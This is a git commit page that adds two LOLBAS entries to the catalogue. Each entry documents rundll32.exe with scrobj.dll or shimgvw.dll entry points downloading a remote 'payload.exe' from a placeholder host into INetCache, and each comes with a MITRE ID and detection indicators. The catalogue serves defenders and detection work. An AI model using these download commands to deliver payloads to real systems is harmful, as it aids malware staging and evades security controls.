public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2025-01-30 07:12:33 +01:00
Code Issues Projects Releases Wiki Activity

Adding scrobj.dll, shimgvw.dll INetCache downloader entries (#189)

Browse Source 
Co-authored-by: Wietze <wietze@users.noreply.github.com>
This commit is contained in:
eral4m 2023-08-05 16:50:52 +01:00 committed by GitHub
parent 65007296a6
commit e4c2371a26
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 46 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

23
yml/OSLibraries/Scrobj.yml Normal file
View File

@ -0,0 +1,23 @@
---
Name: Scrobj.dll
Description: Windows Script Component Runtime
Author: Eral4m
Created: 2021-01-07
Commands:
- Command: rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib http://x.x.x.x/payload.exe
Description: Once executed, rundll32.exe will download the file at the URL in the command to %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\<random>\payload[1].exe.
Usecase: Download file from remote location.
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10, Windows 11
Full_Path:
- Path: c:\windows\system32\scrobj.dll
- Path: c:\windows\syswow64\scrobj.dll
Detection:
- IOC: Execution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line
Resources:
- Link: https://twitter.com/eral4m/status/1479106975967240209
Acknowledgement:
- Person: Eral4m
Handle: '@eral4m'

23
yml/OSLibraries/Shimgvw.yml Normal file
View File

@ -0,0 +1,23 @@
---
Name: Shimgvw.dll
Description: Photo Gallery Viewer
Author: Eral4m
Created: 2021-01-06
Commands:
- Command: rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen http://x.x.x.x/payload.exe
Description: Once executed, rundll32.exe will download the file at the URL in the command to %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\<random>\payload[1].exe. Can also be used with entrypoint 'ImageView_FullscreenA'.
Usecase: Download file from remote location.
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10, Windows 11
Full_Path:
- Path: c:\windows\system32\shimgvw.dll
- Path: c:\windows\syswow64\shimgvw.dll
Detection:
- IOC: Execution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line
Resources:
- Link: https://twitter.com/eral4m/status/1479080793003671557
Acknowledgement:
- Person: Eral4m
Handle: '@eral4m'